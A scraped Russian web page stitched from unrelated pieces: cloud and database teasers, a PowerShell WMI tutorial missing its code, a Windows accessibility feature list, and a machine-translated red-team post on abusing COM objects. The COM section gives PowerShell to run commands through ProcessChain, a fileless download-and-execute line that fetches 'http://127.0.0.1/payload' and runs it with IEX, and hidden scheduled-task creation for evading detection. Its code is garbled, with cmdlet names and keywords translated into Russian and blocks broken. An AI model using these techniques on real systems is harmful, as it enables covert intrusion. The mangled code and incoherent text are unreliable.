Как найти объект с помощью ОС Windows

Обновлено: 18.05.2024

Организациям требуются системы виртуализации, которые не только поддерживают различные типы приложений, но и упрощают ИТ-инфраструктуру.

Виртуализация приносит экономию средств и экономит время ИТ-специалистам, которые курируют роботов-роботов. Для эффективной реализации требуется облачная среда.

Администраторы часто сравнивают Xen и KVM как варианты с открытым исходным кодом. Основными факторами, которые следует учитывать при выборе основного гипервизора, являются организационные факторы.

Преодолейте сбои AWS, научившись создавать многорегиональную архитектуру, обеспечивающую отказоустойчивость в случае аварии.

Чтобы добиться высокой доступности и отказоустойчивости в AWS, ИТ-администраторы должны сначала понять различия между двумя моделями.

Amazon ECS и EKS похожи, но их различий достаточно, чтобы выделить их для пользователей AWS. Узнайте, что лучше всего подходит для вашего .

Хороший дизайн базы данных необходим для удовлетворения потребностей обработки в системах SQL Server. На вебинаре консультант Коэн Вербек предложил .

Базы данных SQL Server можно переместить в облако Azure несколькими способами. Вот что вы получите от каждого из вариантов .

В отрывке из этой книги вы познакомитесь с методами LEFT OUTER JOIN и RIGHT OUTER JOIN и найдете различные примеры создания SQL.

ИТ-администраторам, рассматривающим возможность перехода на Windows 11, следует узнать, как функции версии Enterprise могут помочь их .

Последняя сборка для разработчиков Windows 11 позволяет открывать несколько папок в приложении для управления файлами. Предполагается, что эта функция .

Администраторам настольных компьютеров следует обратить внимание на собственные функции безопасности и архитектуру Windows 10, чтобы установить базовый уровень настольных компьютеров.

Перенаправление папок может поддерживать среду виртуального рабочего стола с перемещаемыми профилями, предоставляя пользователям единообразие при .

Люди, использующие виртуальный рабочий стол VMware на смартфонах и планшетах Samsung, могут получить доступ к Windows как на устройстве, так и на .

Организациям с виртуальными рабочими столами следует планировать свою стратегию управления профилями, и одним из ключевых компонентов является профиль .

Инструментарий управления Windows (WMI) — это основная технология системного администрирования Windows, поскольку она предоставляет широкий спектр информации унифицированным образом. Благодаря возможностям WMI командлет PowerShell для доступа к объектам WMI Get-CimInstance является одним из самых полезных для выполнения реальной работы. Мы собираемся обсудить, как использовать CimCmdlets для доступа к объектам WMI, а затем, как использовать объекты WMI для выполнения конкретных задач.

Список классов WMI

Первой проблемой, с которой сталкивается большинство пользователей WMI, является попытка выяснить, что можно сделать с помощью WMI. Классы WMI описывают ресурсы, которыми можно управлять. Существуют сотни классов WMI, некоторые из которых содержат десятки свойств.

Get-CimClass решает эту проблему, делая WMI доступным для обнаружения. Вы можете получить список классов WMI, доступных на локальном компьютере, набрав:

Вы можете получить ту же информацию с удаленного компьютера, используя параметр ComputerName, указав имя компьютера или IP-адрес:

Список классов, возвращаемый удаленными компьютерами, может различаться в зависимости от конкретной операционной системы, на которой работает компьютер, и конкретных расширений WMI, добавленных установленными приложениями.

При использовании командлетов CIM для подключения к удаленному компьютеру на удаленном компьютере должен быть запущен WMI, а используемая учетная запись должна входить в группу локальных администраторов на удаленном компьютере. В удаленной системе не нужно устанавливать PowerShell. Это позволяет вам администрировать операционные системы, в которых не используется PowerShell, но в которых доступен WMI.

Отображение сведений о классе WMI

Если вы уже знаете имя класса WMI, вы можете использовать его для немедленного получения информации. Например, одним из классов WMI, обычно используемых для получения информации о компьютере, является Win32_OperatingSystem.

Несмотря на то, что мы показываем все параметры, команду можно выразить более кратко. Параметр ComputerName не требуется при подключении к локальной системе. Мы показываем его, чтобы продемонстрировать наиболее общий случай и напомнить вам о параметре. Пространство имен по умолчанию имеет значение root/CIMV2 и может быть опущено. Наконец, большинство командлетов позволяют опускать имена общих параметров. При использовании Get-CimInstance, если для первого параметра не указано имя, PowerShell рассматривает его как параметр класса. Это означает, что последнюю команду можно было ввести, набрав:

Класс Win32_OperatingSystem имеет гораздо больше свойств, чем показано здесь. Вы можете использовать Get-Member, чтобы увидеть все свойства. Свойства класса WMI автоматически доступны, как и другие свойства объекта:

Отображение нестандартных свойств с помощью командлетов форматирования

Если вы хотите, чтобы информация, содержащаяся в классе Win32_OperatingSystem, не отображалась по умолчанию, вы можете отобразить ее с помощью командлетов Format.Например, если вы хотите отобразить данные о доступной памяти, введите:

Подстановочные знаки работают с именами свойств в Format-Table , поэтому конечный элемент конвейера можно сократить до Format-Table -Property Total*Memory*, Free*

Данные памяти могут быть более удобочитаемыми, если вы отформатируете их в виде списка, набрав:

Некоторым людям с ограниченными возможностями требуются вспомогательные технологии (АТ) для доступа к компьютерам. Доступны сотни продуктов сторонних производителей для Windows AT, что позволяет практически каждому использовать приложения Windows®, независимо от их ограниченных возможностей. Операционные системы Microsoft® Windows® также предоставляют базовый набор основных специальных возможностей и приложений AT, которые можно развернуть на всех компьютерах в компьютерном классе или классе без дополнительных затрат. Эти приложения предоставляют учащимся базовые функции доступности с любой рабочей станции, максимально увеличивая инклюзивность учебной среды.

Следует отметить, что приложения AT, входящие в состав Windows, обеспечивают лишь минимальный уровень специальных возможностей, а не полный набор функций, необходимых многим пользователям для равного доступа к операционной системе, образовательным программам и другим программным приложениям. Поэтому многие образовательные учреждения по умолчанию развертывают стандартный набор Windows AT на всех рабочих станциях, но дополнительно 1) предоставляют небольшое количество выделенных рабочих станций, оснащенных часто запрашиваемыми сторонними AT, и 2) готовы приобрести и установить дополнительные AT. по мере необходимости для конкретных учащихся.

Следует также отметить, что наличие AT само по себе не гарантирует доступности. Программные приложения должны быть разработаны таким образом, чтобы они были совместимы с AT и другими специальными возможностями операционной системы. Информацию о приобретении доступных программных продуктов см. в статье базы знаний Как узнать, доступно ли программное приложение?

Ниже приведен список основных специальных возможностей, включенных в различные версии Windows.

Отображение и удобочитаемость:

Эти функции предназначены для улучшения видимости элементов на экране.

  • Начертание, цвет и размер шрифта элементов на рабочем столе — с помощью параметров отображения выберите сочетание цвета, размера и стиля шрифта.
  • Размер значков: увеличьте значки, чтобы они были видны, или уменьшите их, чтобы увеличить место на экране.
  • Разрешение экрана: изменение количества пикселей для увеличения объектов на экране.
  • Схемы с высокой контрастностью — выбирайте комбинации цветов, которые лучше видны.
  • Ширина курсора и частота моргания: облегчают поиск курсора или устраняют отвлекающие факторы, связанные с его морганием.
  • Майкрософт Лупа: увеличение части экрана для лучшей видимости.

Звуки и речь:

Эти функции предназначены для облегчения восприятия и различения компьютерных звуков или создания визуальной альтернативы звуку. Также доступны параметры преобразования речи в текст.

  • Громкость звука — увеличение или уменьшение громкости звука компьютера.
  • Схемы звуков — связывайте компьютерные звуки с определенными системными событиями.
  • ShowSounds — отображение подписей к речи и звукам.
  • SoundSentry: отображать визуальные предупреждения для системных звуков.
  • Уведомления. Получайте звуковые или визуальные подсказки при включении или отключении специальных возможностей.
  • Преобразование текста в речь: прослушивание опций команд окна и чтение текста вслух.

Клавиатура и мышь:

Эти функции предназначены для того, чтобы сделать работу с клавиатурой и мышью быстрее и проще.

  • Скорость двойного щелчка — выберите, с какой скоростью следует нажимать кнопку мыши, чтобы сделать выбор.
  • ClickLock: выделение или перетаскивание без удержания кнопки мыши.
  • Скорость указателя — задайте скорость перемещения указателя мыши по экрану.
  • SnapTo — наведите указатель на кнопку по умолчанию в диалоговом окне.
  • Частота мигания курсора — выберите, как быстро будет мигать курсор, или мигает ли он вообще.
  • Следы указателя — отслеживание движения указателя на экране.
  • Скрыть указатель при наборе текста: указатель не скрывает текст при наборе текста.
  • Показать местоположение указателя — быстро отобразите указатель на экране.
  • Поменять местами функции правой и левой кнопок мыши — поменять местами действия, управляемые правой и левой кнопками мыши.
  • Схемы указателя: выберите размер и цвет для лучшей видимости.

Параметры клавиатуры:

  • Частота повторения символов — задайте скорость повторения символа при нажатии клавиши.
  • Раскладка клавиатуры Дворжака — выберите альтернативные раскладки клавиатуры для людей, которые печатают одной рукой или пальцем.
  • StickyKeys — позволяет нажимать по одной клавише за раз (а не одновременно) для комбинаций клавиш.
  • FilterKeys – игнорирование кратких или повторяющихся нажатий клавиш и замедление частоты повторения.
  • ToggleKeys – воспроизводить звуковые сигналы при нажатии определенных клавиш.
  • MouseKeys — перемещение указателя мыши с помощью цифровой клавиатуры.
  • Дополнительная справка по клавиатуре. Получите всплывающие подсказки или другую справку по клавиатуре в программах, которые ее предоставляют.

Утилиты специальных возможностей Windows:

  • Лупа – утилита отображения, которая делает экран компьютера более читаемым за счет создания отдельного окна, в котором отображается увеличенная часть экрана.
  • Экранный диктор — утилита преобразования текста в речь, которая читает то, что отображается на экране — содержимое активного окна, пункты меню или введенный текст.
  • Экранная клавиатура. На экране компьютера отображается виртуальная клавиатура, которая позволяет вводить данные с помощью указывающего устройства или джойстика.
  • Диспетчер утилит – позволяет пользователям с правами администратора проверять статус программы специальных возможностей, а также автоматически запускать или останавливать программы специальных возможностей, если это необходимо.
  • Распознавание речи. В Vista и более новых версиях ОС есть встроенное распознавание речи.

Для получения дополнительной информации о том, как получить доступ к этим функциям и утилитам в продуктах Windows, посетите веб-сайт Microsoft Accessibility Resources.

Сравнение функций специальных возможностей в разных операционных системах см. в статье базы знаний Чем отличаются специальные возможности в разных операционных системах?

В последнее время COM-объекты использовались тестировщиками на проникновение, Red Teams и злоумышленниками для бокового перемещения. COM-объекты в прошлом изучались несколькими другими исследователями, в том числе Мэттом Нельсоном (enigma0x3), который опубликовал об этом сообщение в блоге в 2017 году. Некоторые из этих COM-объектов также были добавлены в проект Empire. Чтобы улучшить практику Red Team, FireEye провел исследование доступных COM-объектов в операционных системах Windows 7 и 10. Было обнаружено несколько интересных COM-объектов, которые позволяют планировать задачи, загружать и выполнять без файлов, а также выполнять команды. Хотя сами по себе они не являются уязвимостями безопасности, использование этих объектов может использоваться для предотвращения обнаружения на основе поведения процесса и эвристических сигнатур.

Что такое COM-объект?

Согласно Microsoft, «Модель компонентов Microsoft (COM) — это независимая от платформы, распределенная, объектно-ориентированная система для создания двоичных программных компонентов, которые могут взаимодействовать. COM – это базовая технология для Microsoft OLE (составные документы), ActiveX (интернет-компоненты), а также других продуктов".

COM был создан в 1990-х годах как независимый от языка стандарт двоичной совместимости, который позволяет отдельным модулям кода взаимодействовать друг с другом. Это может происходить в рамках одного процесса или между процессами, а распределенная COM (DCOM) добавляет сериализацию, позволяющую выполнять удаленные вызовы процедур по сети.

Термин «COM-объект» относится к разделу исполняемого кода, который реализует один или несколько интерфейсов, производных от IUnknown. IUnknown — это интерфейс с 3 методами, которые поддерживают подсчет ссылок во время жизни объекта и обнаружение дополнительных интерфейсов. Каждый COM-объект идентифицируется уникальным двоичным идентификатором. Эти 128-битные (16-байтовые) глобально уникальные идентификаторы обычно называются GUID. Когда GUID используется для идентификации COM-объекта, это CLSID (идентификатор класса), а когда он используется для идентификации интерфейса, это IID (идентификатор интерфейса). Некоторые идентификаторы CLSID также имеют удобочитаемые текстовые эквиваленты, называемые ProgID.

Поскольку COM является стандартом двоичного взаимодействия, объекты COM предназначены для реализации и использования на разных языках. Хотя они обычно создаются в адресном пространстве вызывающего процесса, существует поддержка их запуска вне процесса с межпроцессным взаимодействием, передающим вызов, и даже удаленно от машины к машине.

Реестр Windows содержит набор ключей, которые позволяют системе сопоставлять CLSID с базовой реализацией кода (в DLL или EXE) и, таким образом, создавать объект.

Методология

Раздел реестра HKEY_CLASSES_ROOT\CLSID предоставляет всю информацию, необходимую для перечисления COM-объектов, включая CLSID и ProgID. CLSID — это глобальный уникальный идентификатор, связанный с объектом класса COM. ProgID — это удобная для программиста строка, представляющая базовый CLSID.

Список CLSID можно получить с помощью следующих команд Powershell на рис. 1.

New-PSDrive -Реестр PSProvider -Root HKEY_CLASSES_ROOT -Name HKCR
Get-ChildItem -Path HKCR:\CLSID -Name | Выберите -Пропустить 1 > clsids.txt

Рисунок 1. Перечисление CLSID в HKCR

Вывод будет похож на рисунок 2.

Рисунок 2:Сокращенный список CLSID из HKCR

Мы можем использовать список CLSID для создания экземпляров каждого объекта по очереди, а затем перечислить методы и свойства, предоставляемые каждым COM-объектом. PowerShell предоставляет командлет Get-Member, который можно использовать для простого перечисления методов и свойств объекта. На рис. 3 показан сценарий PowerShell для перечисления этой информации.Там, где это было возможно, в этом исследовании использовались стандартные привилегии пользователя, чтобы получить представление о доступных COM-объектах в наихудшем сценарии отсутствия административных привилегий.

$Position = 1
$Filename = "win10-clsid-members.txt"
$inputFilename = "clsids.txt"
ForEach($CLSID в Get-Content $inputFilename) Write-Output "$($Position) - $($CLSID)"
Write-Output "----------- -------------" | Out-File $Filename -Append
Write-Output $($CLSID) | Out-File $Filename -Append
$handle = [activator]::CreateInstance([type]::GetTypeFromCLSID($CLSID))
$handle | Получить член | Out-File $Filename -Append
$Position += 1
>

Рис. 3. Сценарий PowerShell, используемый для перечисления доступных методов и свойств

Если вы запустите этот скрипт, ожидайте некоторых интересных побочных эффектов, таких как запуск произвольных приложений, зависание системы или зависание скрипта. Большинство этих проблем можно решить, закрыв запущенные приложения или завершив запущенные процессы.

Вооружившись списком всех идентификаторов CLSID, а также методов и свойств, которые они предоставляют, мы можем начать поиск интересных COM-объектов. Большинство COM-серверов (код, реализующий COM-объект) реализованы в DLL, путь которой хранится в разделе реестра, например. под InprocServer32. Это полезно, поскольку для понимания недокументированных COM-объектов может потребоваться обратное проектирование.

В Windows 7 было пронумеровано в общей сложности 8 282 COM-объекта. В Windows 10 было представлено 3250 новых COM-объектов в дополнение к тем, что были в Windows 7. COM-объекты, не принадлежащие Microsoft, как правило, не включались, поскольку нельзя с уверенностью ожидать их присутствия на целевых машинах, что ограничивает их полезность для операций Red Team. Выбранные объекты Microsoft COM из Windows SDK были включены в исследование с целью изучения компьютеров разработчиков.

После того, как участники были получены, для быстрого получения результатов использовался подход к поиску на основе ключевых слов. В целях этого исследования использовались следующие ключевые слова: выполнить, исполнить, создать, запустить и запустить.

Одним из примеров был COM-объект ( WatWeb.WatWebObject ) в Windows 7. Этот COM-объект предоставлял метод с именем LaunchSystemApplication, как показано на рис. 4.

WatWeb.WatWebObject методы, включая интересные LaunchSystemApplication метод


Рис. 4. Методы WatWeb.WatWebObject, включая интересный метод LaunchSystemApplication

Запись InprocServer32 для этого объекта была установлена ​​на C:\windows\system32\wat\watweb.dll, которая является частью системы проверки ключа продукта Microsoft Windows Genuine Advantage. Метод LaunchSystemApplication ожидал три параметра, но этот COM-объект не был хорошо задокументирован, и потребовался обратный инжиниринг, а это означало, что пришло время покопаться в ассемблере.

После того как C:\windows\system32\wat\watweb.dll загружен в ваш любимый инструмент (в данном случае IDA Pro), пришло время найти, где определен этот метод. К счастью, в данном случае Microsoft предоставила отладочные символы, что сделало реверс-инжиниринг гораздо более эффективным. Глядя на разборку, LaunchSystemApplication вызывает LaunchSystemApplicationInternal, который, как можно предположить, вызывает CreateProcess для запуска приложения. Это показано в псевдокоде декомпилятора Hex-Rays на рисунке 5.

Псевдокод Hex-Rays, подтверждающий, что LaunchSystemApplicationInternal вызывает СоздатьПроцессW


Рисунок 5. Псевдокод Hex-Rays, подтверждающий, что LaunchSystemApplicationInternal вызывает CreateProcessW

Но позволяет ли этот COM-объект создавать произвольные процессы? Аргумент, передаваемый CreateProcess, контролируется пользователем и получается из аргументов, переданных в функцию. Однако обратите внимание на вызов CWgpOobWebObjectBaseT::IsApprovedApplication перед вызовом CreateProcess. Псевдокод Hex-Rays для этого метода показан на рисунке 6.

Псевдокод Hex-Rays для метода IsApprovedApplication


Рисунок 6. Псевдокод Hex-Rays для метода IsApprovedApplication

Управляемая пользователем строка проверяется на соответствие определенному шаблону. В этом случае строка должна соответствовать slui.exe . Кроме того, управляемая пользователем строка затем добавляется к системному пути, а это означает, что необходимо, например, заменить настоящий slui.exe, чтобы обойти проверку. К сожалению, проверка, проведенная корпорацией Майкрософт, ограничивает полезность этого метода как средства запуска процессов общего назначения.

В других случаях выполнение кода было простым.Например, класс ProcessChain с CLSID, реализованный в C:\Program Files (x86)\Windows Kits\10\App Certification Kit\prchauto.dll . Этот класс COM можно легко проанализировать, не заглядывая в списки дизассемблирования, поскольку prchauto.dll содержит ресурс TYPELIB, содержащий библиотеку типов COM, которую можно просмотреть с помощью Oleview.exe. На рис. 7 показана библиотека типов для ProcessChainLib со свойством CommandLine и методом Start. Start принимает ссылку на логическое значение.

Библиотека типов для ProcessChainLib, отображаемая в интерфейсе Язык определения от Oleview.exe


Рис. 7. Библиотека типов для ProcessChainLib, отображаемая на языке определения интерфейса с помощью Oleview.exe

На основании этого можно запускать команды, как показано на рис. 8.

$handle = [activator]::CreateInstance([type]::GetTypeFromCLSID("E430E93D-09A9-4DC5-80E3-CBB2FB9AF28E"))
$ handle.CommandLine = "cmd /c whoami"
$handle.Start([ref]$True)

Рисунок 8. Использование COM-сервера ProcessChainLib для запуска процесса

Перечисление и изучение COM-объектов таким образом выявило и другие интересные находки.

Безфайловая загрузка и выполнение

В примере на рис. 9 наш код выполняется локально:

$o = [активатор]::CreateInstance([type]::GetTypeFromCLSID("F5078F35-C551-11D3-89B9-0000F81FE221")); $o.Open("GET", "http://127.0.0.1/payload", $False); $o.Отправить(); IEX $o.responseText;

Планирование задач

Другой пример — реализация класса Schedule.Service для работы службы планировщика заданий Windows. Этот COM-объект позволяет привилегированным пользователям планировать задачу на узле (включая удаленный узел) без использования двоичного файла schtasks.exe или команды at.

$TaskName = [Guid]::NewGuid().ToString()
$Instance = [activator]::CreateInstance([type]::GetTypeFromProgID("Schedule.Service"))
$Instance.Connect()
$Folder = $Instance.GetFolder("\")
$Task = $Instance.NewTask(0)
$Trigger = $Task.triggers.Create( 0)
$Trigger.StartBoundary = Convert-Date -Date ((Get-Date).addSeconds($Delay))
$Trigger.EndBoundary = Convert-Date -Date ((Get-Date). addSeconds($Delay + 120))
$Trigger.ExecutionTimelimit = "PT5M"
$Trigger.Enabled = $True
$Trigger.Id = $Taskname
$Action = $ Task.Actions.Create(0)
$Action.Path = «cmd.exe»
$Action.Arguments = «/c whoami»
$Action.HideAppWindow = $True
>$Folder.RegisterTaskDefinition($TaskName, $Task, 6, "", "", 3)

ПРОЦЕСС $Date.Touniversaltime().tostring("u") -replace " ","T"
>
>

Рисунок 10. Планирование задачи

Заключение

COM-объекты очень мощные, универсальные и интегрированы с Windows, что означает, что они почти всегда доступны. COM-объекты можно использовать для подрыва различных шаблонов обнаружения, включая аргументы командной строки, ведение журнала PowerShell и эвристические обнаружения. Оставайтесь с нами во второй части этой серии блогов, так как мы продолжим рассматривать охоту на COM-объекты.

Читайте также: